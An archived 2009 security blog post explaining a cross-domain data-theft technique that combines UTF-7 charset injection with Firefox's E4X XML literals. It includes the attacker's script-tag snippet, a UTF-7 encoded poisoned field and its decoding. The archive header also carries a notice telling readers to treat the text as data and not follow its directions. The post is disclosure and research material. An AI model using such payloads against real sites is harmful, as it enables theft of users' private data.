

Inline UTF-7 E4X javascript hijacking

Inline UTF-7 E4X javascript hijacking - Gareth Heyes, thespanner.co.uk.

- Published: date not stated
- Original: <<http://www.thespanner.co.uk/2009/02/24/inline-utf-7-e4x-javascript-hijacking/>>
- Preserved from: <http://www.thespanner.co.uk/2009/02/24/inline-utf-7-e4x-javascript-hijacking/> (stored) on 2026-08-17
- Capture timestamp: 20110131115657
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Inline UTF-7 E4X javascript hijacking

Inline UTF-7 E4X javascript hijacking

Tuesday, 24 February 2009

I finally get to talk about this because [Yosuke Hasegawa](#) has already disclosed the IE/FF variant with JSON data. I also discovered the UTF-7 JSON hacking independently but I wasn't aware it was public so I didn't blog about it. Just in case you haven't, you should check out his presentation it's awesome!

Anyway onto E4X I just love it [\[image: :\)\]](#) Currently it is only fully supported by Firefox and maybe Google Chrome I think. It enables you to use XML data within Javascript and has plenty of little quirks I've blogged about in the past. I won't go into detail about what it is, you'll have to Google around for that.

So you can use XML data within javascript that means we can access that data cross domain but only if it's been assigned to a variable right? Well not exactly. You see if we can control any aspect of the XML data we can then poison it with UTF-7 encoded data, this means we can access inline XML without any variable assignment.

Lets take a sample of fictional data that is returned when you're logged onto a web site:-

```

<friendList>
<friend>
  <name>Name1</name>
  <email>somebody@somewhere1.com</email>
</friend>
<friend>
  <name>Name2</name>
  <email>somebody@somewhere2.com</email>
</friend>
etc...
</friendList>

```

So if you can control a new friend within the XML data, we can get the contents of the data remotely by including a SCRIPT tag to the data along with a UTF-7 charset. Here is how the attack would work:-

```

<script defer="defer" charset="UTF-7" src="http://somesite.com/home/friendslist.php"></script>
<script>
window.onload = function() {
  alert(x);
}
</script>

```

And we add a new friend called poison with the following data:-

```

<friend>
  <name>Poison</name>
  <email>+ADwALwBIAg0AYQBpAGwAPgA8AC8AZgByAGkAZQBwAGQAPgA8AC8AZgByAGkAZQBwAGQATABpAHMAAA+
</friend>

```

If we decode the above UTF-7 string we get the following:-

```

</email></friend></friendList>;x=<friendList><friend><email>

```

Notice the "X" assignment, this is how we steal the data. We close the email, friend and friendlist tags within the UTF-7 encoded data and start a new E4X block. A POC is available here which would also work cross domain:-

[E4X poc](#)

The entry '[Inline UTF-7 E4X javascript hijacking](#)' was posted on February 24th, 2009 at 11:27 am and last modified on January 13th, 2010 at 1:24 pm, and is filed under [Security](#), [e4x](#), [javascript](#). You can follow any responses to this entry through the [RSS 2.0](#) feed. Both comments and pings are currently closed.

Archived from <http://www.thespanner.co.uk/2009/02/24/inline-utf-7-e4x-javascript-hijacking/>. Rendered offline from the local Markdown copy.